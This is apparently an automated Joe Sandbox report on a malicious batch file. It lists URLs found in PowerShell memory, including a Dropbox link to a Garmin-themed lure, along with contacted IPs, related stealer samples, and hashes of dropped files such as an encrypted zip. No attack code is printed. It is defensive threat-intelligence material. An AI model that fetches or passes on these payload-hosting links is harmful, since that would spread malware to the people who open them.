https://www.dropbox.com/static/api/	powershell.exe, 0000000D.00000002.2238448127.000001E30164F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.2238448127.000001E301653000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.2238448127.000001E30162F000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.dropboxstatic.com/static/	powershell.exe, 0000000D.00000002.2238448127.000001E30162F000.00000004.00000800.00020000.00000000.sdmp	false		high
https://apis.google.com	powershell.exe, 00000012.00000002.3352680055.00000229417D4000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000012.00000002.3352680055.00000229417F8000.00000004.00000800.00020000.00000000.sdmp	false		high
https://officeapps-df.live.com	powershell.exe, 0000000D.00000002.2238448127.000001E30164F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.2238448127.000001E301653000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.2238448127.000001E30162F000.00000004.00000800.00020000.00000000.sdmp	false		high
https://api.login.yahoo.com/	powershell.exe, 0000000D.00000002.2238448127.000001E30164F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.2238448127.000001E301653000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.2238448127.000001E30162F000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	powershell.exe, 0000000D.00000002.2238448127.000001E300001000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000012.00000002.3352680055.00000229401B1000.00000004.00000800.00020000.00000000.sdmp	false		high
https://sentry.gitlab.net	powershell.exe, 00000012.00000002.3352680055.00000229417F8000.00000004.00000800.00020000.00000000.sdmp	false		high
https://login.yahoo.com/	powershell.exe, 0000000D.00000002.2238448127.000001E30164F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.2238448127.000001E301653000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.2238448127.000001E30162F000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.dropbox.com/scl/fi/mfmemsox3eb99r	powershell.exe, 0000000D.00000002.2260356546.000001E36CB5A000.00000004.00000020.00020000.00000000.sdmp	false		high
https://docsend.com/	powershell.exe, 0000000D.00000002.2238448127.000001E30164F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.2238448127.000001E301653000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.2238448127.000001E30162F000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.dropbox.com/playlist/	powershell.exe, 0000000D.00000002.2238448127.000001E30164F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.2238448127.000001E301653000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.2238448127.000001E30162F000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.recaptcha.net/	powershell.exe, 00000012.00000002.3352680055.00000229417F8000.00000004.00000800.00020000.00000000.sdmp	false		high
https://onedrive.live.com/picker	powershell.exe, 0000000D.00000002.2238448127.000001E30164F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.2238448127.000001E301653000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.2238448127.000001E30162F000.00000004.00000800.00020000.00000000.sdmp	false		high
http://nuget.org/NuGet.exe	powershell.exe, 0000000D.00000002.2238448127.000001E3017B2000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.2254781179.000001E3101B6000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.2254781179.000001E310074000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000012.00000002.3400400303.0000022950225000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000012.00000002.3400400303.0000022950367000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000012.00000002.3352680055.0000022941C25000.00000004.00000800.00020000.00000000.sdmp	false		high
https://showcase.dropbox.com/	powershell.exe, 0000000D.00000002.2238448127.000001E30164F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.2238448127.000001E301653000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.2238448127.000001E30162F000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.dropbox.com/static/serviceworker/	powershell.exe, 0000000D.00000002.2238448127.000001E30162F000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.dropbox.com	powershell.exe, 0000000D.00000002.2238448127.000001E300C32000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.2238448127.000001E30162A000.00000004.00000800.00020000.00000000.sdmp	false		high
http://pesterbdd.com/images/Pester.png	powershell.exe, 00000012.00000002.3352680055.00000229403E2000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.apache.org/licenses/LICENSE-2.0.html	powershell.exe, 00000012.00000002.3352680055.00000229403E2000.00000004.00000800.00020000.00000000.sdmp	false		high
https://go.micro	powershell.exe, 0000000D.00000002.2238448127.000001E300C32000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000012.00000002.3352680055.0000022940DE2000.00000004.00000800.00020000.00000000.sdmp	false		high
https://new-sentry.gitlab.net	powershell.exe, 00000012.00000002.3352680055.00000229417F8000.00000004.00000800.00020000.00000000.sdmp	false		high
https://contoso.com/Icon	powershell.exe, 00000012.00000002.3352680055.0000022941C25000.00000004.00000800.00020000.00000000.sdmp	false		high
https://g.live.com/odclientsettings/ProdV21C:	svchost.exe, 00000019.00000003.2432312560.000001FA6D6C0000.00000004.00000800.00020000.00000000.sdmp	false		high
http://crl.ver)	svchost.exe, 00000019.00000002.3419661873.000001FA6D800000.00000004.00000020.00020000.00000000.sdmp	false		high
https://uc70263987fbdc807f2c64405811.dl.dropboxusercontent.com/cd/0/get/CghynLncRCxsD1w_kJ7iXmbTCmrH	powershell.exe, 0000000D.00000002.2238448127.000001E30164F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.2238448127.000001E301653000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.2238448127.000001E30162F000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.dropbox.com/v/s/playlist/	powershell.exe, 0000000D.00000002.2238448127.000001E30164F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.2238448127.000001E301653000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.2238448127.000001E30162F000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www-env.dropbox-dns.com	powershell.exe, 0000000D.00000002.2238448127.000001E30162F000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/Pester/Pester	powershell.exe, 00000012.00000002.3352680055.00000229403E2000.00000004.00000800.00020000.00000000.sdmp	false		high
https://docs.sandbox.google.com/document/fsip/	powershell.exe, 0000000D.00000002.2238448127.000001E30164F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.2238448127.000001E301653000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.2238448127.000001E30162F000.00000004.00000800.00020000.00000000.sdmp	false		high
https://docs.sandbox.google.com/spreadsheets/fsip/	powershell.exe, 0000000D.00000002.2238448127.000001E30164F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.2238448127.000001E301653000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.2238448127.000001E30162F000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.dropbox.com/scl/fi/mfmemsox3eb9769rgrajn/garmin_campaign_information_for_partners_v11.do	powershell.exe, 0000000D.00000002.2261494488.000001E36CC80000.00000004.00000020.00020000.00000000.sdmp	false		high
https://g.live.com/odclientsettings/Prod1C:	svchost.exe, 00000019.00000003.2432312560.000001FA6D71E000.00000004.00000800.00020000.00000000.sdmp	false		high
https://docs.google.com/document/fsip/	powershell.exe, 0000000D.00000002.2238448127.000001E30164F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.2238448127.000001E301653000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.2238448127.000001E30162F000.00000004.00000800.00020000.00000000.sdmp	false		high
https://help.dropbox.com/	powershell.exe, 0000000D.00000002.2238448127.000001E30164F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.2238448127.000001E301653000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.2238448127.000001E30162F000.00000004.00000800.00020000.00000000.sdmp	false		high
https://docs.google.com/presentation/fsip/	powershell.exe, 0000000D.00000002.2238448127.000001E30164F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.2238448127.000001E301653000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.2238448127.000001E30162F000.00000004.00000800.00020000.00000000.sdmp	false		high
https://canny.io/sdk.js	powershell.exe, 0000000D.00000002.2238448127.000001E30164F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.2238448127.000001E301653000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.2238448127.000001E30162F000.00000004.00000800.00020000.00000000.sdmp	false		high
https://gitlab.com/-/sandbox/	powershell.exe, 00000012.00000002.3352680055.00000229417F8000.00000004.00000800.00020000.00000000.sdmp	false		high
https://gitlab.com/admin/	powershell.exe, 00000012.00000002.3352680055.00000229417F8000.00000004.00000800.00020000.00000000.sdmp	false		high
https://customers.gitlab.com	powershell.exe, 00000012.00000002.3352680055.00000229417D4000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000012.00000002.3352680055.00000229417F8000.00000004.00000800.00020000.00000000.sdmp	false		high
https://2e83413d8036243b-Dropbox-pal-live.adyenpayments.com/	powershell.exe, 0000000D.00000002.2238448127.000001E30164F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.2238448127.000001E301653000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.2238448127.000001E30162F000.00000004.00000800.00020000.00000000.sdmp	false		high
https://gitlab.com/-/speedscope/index.html	powershell.exe, 00000012.00000002.3352680055.00000229417F8000.00000004.00000800.00020000.00000000.sdmp	false		high
https://selfguidedlearning.dropboxbusiness.com/	powershell.exe, 0000000D.00000002.2238448127.000001E30164F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.2238448127.000001E301653000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.2238448127.000001E30162F000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.google.com/recaptcha/	powershell.exe, 00000012.00000002.3352680055.00000229417F8000.00000004.00000800.00020000.00000000.sdmp	false		high
https://sourcegraph.com	powershell.exe, 00000012.00000002.3352680055.00000229417D4000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000012.00000002.3352680055.00000229417F8000.00000004.00000800.00020000.00000000.sdmp	false		high
https://aka.ms/pscore68	powershell.exe, 0000000D.00000002.2238448127.000001E300001000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000012.00000002.3352680055.00000229401B1000.00000004.00000800.00020000.00000000.sdmp	false		high
https://docs.sandbox.google.com/presentation/fsip/	powershell.exe, 0000000D.00000002.2238448127.000001E30164F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.2238448127.000001E301653000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.2238448127.000001E30162F000.00000004.00000800.00020000.00000000.sdmp	false		high
https://dl-web.dropbox.com/	powershell.exe, 0000000D.00000002.2238448127.000001E30164F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.2238448127.000001E301653000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.2238448127.000001E30162F000.00000004.00000800.00020000.00000000.sdmp	false		high
https://app.hellofax.com/	powershell.exe, 0000000D.00000002.2238448127.000001E30164F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.2238448127.000001E301653000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.2238448127.000001E30162F000.00000004.00000800.00020000.00000000.sdmp	false		high
https://cfl.dropboxstatic.com/static/	powershell.exe, 0000000D.00000002.2238448127.000001E30162F000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.paypal.com/sdk/js	powershell.exe, 0000000D.00000002.2238448127.000001E30164F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.2238448127.000001E301653000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.2238448127.000001E30162F000.00000004.00000800.00020000.00000000.sdmp	false		high
https://docs.google.com/spreadsheets/fsip/	powershell.exe, 0000000D.00000002.2238448127.000001E30164F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.2238448127.000001E301653000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.2238448127.000001E30162F000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.dropbox.com/csp_log?policy_name=metaserver-whitelist	powershell.exe, 0000000D.00000002.2238448127.000001E30164F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.2238448127.000001E301653000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.2238448127.000001E30162F000.00000004.00000800.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
172.65.251.78	gitlab.com	United States		13335	CLOUDFLARENETUS	false
162.125.69.18	www-env.dropbox-dns.com	United States		19679	DROPBOXUS	false

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1578276
Start date and time:	2024-12-19 14:19:04 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 6m 4s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	30
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	slifdgjsidfg19.bat
Detection:	MAL
Classification:	mal88.troj.evad.winBAT@27/18@2/3
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 8 Number of non-executed functions: 6
Cookbook Comments:	Found application associated with file extension: .bat

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, BackgroundTransferHost.exe, WMIADAP.exe, SIHClient.exe, backgroundTaskHost.exe
Excluded IPs from analysis (whitelisted): 23.218.208.109, 23.54.80.57, 23.54.80.83, 20.190.177.84, 13.107.246.63, 20.223.36.55, 104.126.37.139, 20.12.23.50, 150.171.28.10, 104.126.37.136, 20.199.58.43
Excluded domains from analysis (whitelisted): www.bing.com, client.wns.windows.com, fs.microsoft.com, otelrules.azureedge.net, slscr.update.microsoft.com, ctldl.windowsupdate.com.delivery.microsoft.com, tse1.mm.bing.net, ctldl.windowsupdate.com, g.bing.com, a767.dspw65.akamai.net, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, arc.msn.com, fe3cr.delivery.mp.microsoft.com, download.windowsupdate.com.edgesuite.net, ocsp.digicert.com, login.live.com, e16604.g.akamaiedge.net, prod.fs.microsoft.com.akadns.net, wu-b-net.trafficmanager.net
Execution Graph export aborted for target powershell.exe, PID 5000 because it is empty
Execution Graph export aborted for target powershell.exe, PID 7664 because it is empty
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing network information.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: slifdgjsidfg19.bat

Simulations

Behavior and APIs

Time	Type	Description
08:20:06	API Interceptor	82x Sleep call for process: powershell.exe modified
08:20:29	API Interceptor	2x Sleep call for process: svchost.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
172.65.251.78	build_setup.exe	Get hash	malicious	Vidar	Browse	gitlab.com/greg201/ppi3/-/raw/main/Setup.exe?inline=false
162.125.69.18	hnghksdjfhs19De.bat	Get hash	malicious	Abobus Obfuscator, Braodo	Browse
	jhsdgfjkh236.bat	Get hash	malicious	Abobus Obfuscator, Braodo	Browse
	kjhsdgGarmin17.bat	Get hash	malicious	Abobus Obfuscator, Braodo	Browse
	hngadsfkgj17.bat	Get hash	malicious	Abobus Obfuscator, Braodo	Browse
	hsfgdf17.bat	Get hash	malicious	Abobus Obfuscator, Braodo	Browse
	gar17lksgf.bat	Get hash	malicious	Abobus Obfuscator, Braodo	Browse
	QhR8Zp6fZs.lnk	Get hash	malicious	RHADAMANTHYS	Browse
	CNUXJvLcgw.lnk	Get hash	malicious	RHADAMANTHYS	Browse
	xWpAZpLw47.lnk	Get hash	malicious	RHADAMANTHYS	Browse
	RFQ Letter and Instructions.pdf	Get hash	malicious	Unknown	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
gitlab.com	hnghksdjfhs19De.bat	Get hash	malicious	Abobus Obfuscator, Braodo	Browse	172.65.251.78
	jhsdgfjkh236.bat	Get hash	malicious	Abobus Obfuscator, Braodo	Browse	172.65.251.78
	kjhsdgGarmin17.bat	Get hash	malicious	Abobus Obfuscator, Braodo	Browse	172.65.251.78
	hngadsfkgj17.bat	Get hash	malicious	Abobus Obfuscator, Braodo	Browse	172.65.251.78
	hsfgdf17.bat	Get hash	malicious	Abobus Obfuscator, Braodo	Browse	172.65.251.78
	gar17lksgf.bat	Get hash	malicious	Abobus Obfuscator, Braodo	Browse	172.65.251.78
	hnsjdghf18.bat	Get hash	malicious	Abobus Obfuscator, Braodo	Browse	172.65.251.78
	kjshdgacg18.bat	Get hash	malicious	Abobus Obfuscator, Braodo	Browse	172.65.251.78
	sldkjgsdGarDe3.bat	Get hash	malicious	Abobus Obfuscator, Braodo	Browse	172.65.251.78
	jhsdfggga13.bat	Get hash	malicious	Abobus Obfuscator, Braodo	Browse	172.65.251.78
www-env.dropbox-dns.com	hnghksdjfhs19De.bat	Get hash	malicious	Abobus Obfuscator, Braodo	Browse	162.125.69.18
	jhsdgfjkh236.bat	Get hash	malicious	Abobus Obfuscator, Braodo	Browse	162.125.69.18
	kjhsdgGarmin17.bat	Get hash	malicious	Abobus Obfuscator, Braodo	Browse	162.125.69.18
	hngadsfkgj17.bat	Get hash	malicious	Abobus Obfuscator, Braodo	Browse	162.125.69.18
	hsfgdf17.bat	Get hash	malicious	Abobus Obfuscator, Braodo	Browse	162.125.69.18
	gar17lksgf.bat	Get hash	malicious	Abobus Obfuscator, Braodo	Browse	162.125.69.18
	QhR8Zp6fZs.lnk	Get hash	malicious	RHADAMANTHYS	Browse	162.125.69.18
	CNUXJvLcgw.lnk	Get hash	malicious	RHADAMANTHYS	Browse	162.125.69.18
	xWpAZpLw47.lnk	Get hash	malicious	RHADAMANTHYS	Browse	162.125.69.18
	RFQ Letter and Instructions.pdf	Get hash	malicious	Unknown	Browse	162.125.65.18
ax-0001.ax-msedge.net	1AqzGcCKey.exe	Get hash	malicious	Quasar	Browse	150.171.27.10
	kqeGVKtpy2.exe	Get hash	malicious	Quasar	Browse	150.171.28.10
	22054200882739718047.js	Get hash	malicious	Strela Downloader	Browse	150.171.27.10
	bPkG0wTVon.exe	Get hash	malicious	Unknown	Browse	150.171.27.10
	https://pdf.ac/4lLzbt	Get hash	malicious	Unknown	Browse	150.171.28.10
	https://www.bing.com/ck/a?!&&p=24da94b1cbc4e30be5abd9acb5737b3bdb775a56c39aac0141dd9c17c937dea1JmltdHM9MTczMzI3MDQwMA&ptn=3&ver=2&hsh=4&fclid=1bf8b81c-3b95-652f-24ec-ad573a81643b&u=a1aHR0cHM6Ly93d3cueXV4aW5na2V0YW5nLmNvbS9jb2xsZWN0aW9ucy90aHJvdy1ibGFua2V0cw#aHR0cHM6Ly9Uby5lZW1qaGl1bHoucnUvek83UkZORy8=	Get hash	malicious	Unknown	Browse	150.171.28.10
	vOizfcQSGf.exe	Get hash	malicious	Clipboard Hijacker, Cryptbot	Browse	150.171.27.10
	tasktow.exe	Get hash	malicious	Unknown	Browse	150.171.27.10
	R4qP4YM0QX.lnk	Get hash	malicious	Unknown	Browse	150.171.27.10
	bGcxY1mXHe.exe	Get hash	malicious	Unknown	Browse	150.171.28.10

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer, RHADAMANTHYS	Browse	172.67.179.109
	ny.lnk.d.lnk	Get hash	malicious	Unknown	Browse	172.67.211.185
	rs.lnk.d.lnk	Get hash	malicious	Unknown	Browse	172.67.211.185
	hnghksdjfhs19De.bat	Get hash	malicious	Abobus Obfuscator, Braodo	Browse	172.65.251.78
	jhsdgfjkh236.bat	Get hash	malicious	Abobus Obfuscator, Braodo	Browse	172.65.251.78
	kjhsdgGarmin17.bat	Get hash	malicious	Abobus Obfuscator, Braodo	Browse	172.65.251.78
	hngadsfkgj17.bat	Get hash	malicious	Abobus Obfuscator, Braodo	Browse	172.65.251.78
	hsfgdf17.bat	Get hash	malicious	Abobus Obfuscator, Braodo	Browse	172.65.251.78
	gar17lksgf.bat	Get hash	malicious	Abobus Obfuscator, Braodo	Browse	172.65.251.78
	RECOUVREMENT -FACTURER1184521.pdf	Get hash	malicious	Unknown	Browse	172.64.41.3
DROPBOXUS	hnghksdjfhs19De.bat	Get hash	malicious	Abobus Obfuscator, Braodo	Browse	162.125.69.18
	jhsdgfjkh236.bat	Get hash	malicious	Abobus Obfuscator, Braodo	Browse	162.125.69.18
	kjhsdgGarmin17.bat	Get hash	malicious	Abobus Obfuscator, Braodo	Browse	162.125.69.18
	hngadsfkgj17.bat	Get hash	malicious	Abobus Obfuscator, Braodo	Browse	162.125.69.18
	hsfgdf17.bat	Get hash	malicious	Abobus Obfuscator, Braodo	Browse	162.125.69.18
	gar17lksgf.bat	Get hash	malicious	Abobus Obfuscator, Braodo	Browse	162.125.69.18
	QhR8Zp6fZs.lnk	Get hash	malicious	RHADAMANTHYS	Browse	162.125.69.15
	CNUXJvLcgw.lnk	Get hash	malicious	RHADAMANTHYS	Browse	162.125.4.18
	xWpAZpLw47.lnk	Get hash	malicious	RHADAMANTHYS	Browse	162.125.69.15
	RFQ Letter and Instructions.pdf	Get hash	malicious	Unknown	Browse	162.125.21.1

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
3b5074b1b5d032e5620f69f9f700ff0e	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer, RHADAMANTHYS	Browse	162.125.69.18 172.65.251.78
	ny.lnk.d.lnk	Get hash	malicious	Unknown	Browse	162.125.69.18 172.65.251.78
	rs.lnk.d.lnk	Get hash	malicious	Unknown	Browse	162.125.69.18 172.65.251.78
	hnghksdjfhs19De.bat	Get hash	malicious	Abobus Obfuscator, Braodo	Browse	162.125.69.18 172.65.251.78
	jhsdgfjkh236.bat	Get hash	malicious	Abobus Obfuscator, Braodo	Browse	162.125.69.18 172.65.251.78
	kjhsdgGarmin17.bat	Get hash	malicious	Abobus Obfuscator, Braodo	Browse	162.125.69.18 172.65.251.78
	hngadsfkgj17.bat	Get hash	malicious	Abobus Obfuscator, Braodo	Browse	162.125.69.18 172.65.251.78
	hsfgdf17.bat	Get hash	malicious	Abobus Obfuscator, Braodo	Browse	162.125.69.18 172.65.251.78
	gar17lksgf.bat	Get hash	malicious	Abobus Obfuscator, Braodo	Browse	162.125.69.18 172.65.251.78
	QhR8Zp6fZs.lnk	Get hash	malicious	RHADAMANTHYS	Browse	162.125.69.18 172.65.251.78

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.7263297001365475
Encrypted:	false
SSDEEP:	1536:9J8s6YR3pnhWKInznxTgScwXhCeEcrKYSZNmTHk4UQJ32aqGT46yAwFM5hA7yH0p:9JZj5MiKNnNhoxuQ
MD5:	2BC39EBCF56370AE6D1300088C5999CA
SHA1:	CE5B1A33352567E5DEDC719F0A8DA1AE4409A1AC
SHA-256:	3AD06595473F62D243D5AF63E7173BCF7F217457B727B85C0DFC54AAC34C0217
SHA-512:	4A2E61C09DBA99E421332A73C1147EDD3C8712838FB6DA54150D7A03A55E78210B48DD3C941D4406B043EDFCB76CD716318C8249956F2336E8AF6050A01B769A
Malicious:	false
Preview:	...........@..@9....{...;...{..........<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@....................................Fajaj.#.........`h.................h.......6.......X\...;...{..................C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.M.i.c.r.o.s.o.f.t.\.N.e.t.w.o.r.k.\.D.o.w.n.l.o.a.d.e.r.\.q.m.g.r...d.b....................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage user DataBase, version 0x620, checksum 0x6554aa07, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.7556164535606695
Encrypted:	false
SSDEEP:	1536:9SB2ESB2SSjlK/svFH03N9Jdt8lYkr3g16xj2UPkLk+kLWyrufTRryrUYc//kbxW:9azaSvGJzYj2UlmOlOL
MD5:	2D3C1F6AF2489181C022055060E61AA3
SHA1:	9F5835D40806B9B2F18FC2A0311B65709C546B88
SHA-256:	42F55D234D7D79099E414C09E9AB4CA524A4812557BF7E3E80DBA5B605F7564D
SHA-512:	B3FD1B44A9402C5A7FB50CD557CF23D70D3105FE2BB069AF2DC188B4361BF20D9EF8D48A291CC9C7180FD12768104FA9D3114ACE554A63490802E76C23441437
Malicious:	false
Preview:	eT..... .......7.......X\...;...{......................0.e......!...{?......\|..h.g.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... .......9....{...............................................................................................................................................................................................2...{...................................%.9.....\|...........................\|...........................#......h.g.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.08000664108893035
Encrypted:	false
SSDEEP:	3:hSl8YeP2GuNaAPaU1lqx3mLolluxmO+l/SNxOf:w8zPFuNDPaUyvgmOH
MD5:	3FC25E03080506BB112087D47322B04D
SHA1:	DD4408E5E92723BE1E222F47553B8A14EE63EBE3
SHA-256:	605D430113B29D58757C9C419146E8DBA7DE2DEC26DCE148B31069A4D9F346A8
SHA-512:	F6FBFCB7B99790DAF539B03998F80EFE130343434A246E34EA6D1708F4E18732A246A3614B0DF68B49EBC4617EA36A117696E60642321A0CA41B81C14DCB0DC3
Malicious:	false
Preview:	.J......................................;...{.......\|...!...{?..........!...{?..!...{?..g...!...{?..........................\|..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\Public\Document.zip

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	Zip archive data, at least v2.0 to extract, compression method=deflate
Category:	dropped
Size (bytes):	68976514
Entropy (8bit):	7.994115527703699
Encrypted:	true
SSDEEP:	1572864:T2Ycra0WKQw0Fpc9vBCUNyWpNBTvL3NauYsHS:6Da03R/1U8BTvL3NtYAS
MD5:	F3FBC911B9BD5A7E55B99616E7017A50
SHA1:	20CB5C982E164E0008E41D19A27A5A09837DFA6D
SHA-256:	9A8B28B65CA9C8303385B84390EF6202A508542E7E358C465244529A47E6F1AC
SHA-512:	558F6F1AB50ED612C9F50C526B4040EFE7DC7D24E08C795CDF4F21C14EA05621DB826638B17A187848B99406307D8CAB2C935CDB9AE18E80C3F725F6CD843C49
Malicious:	true
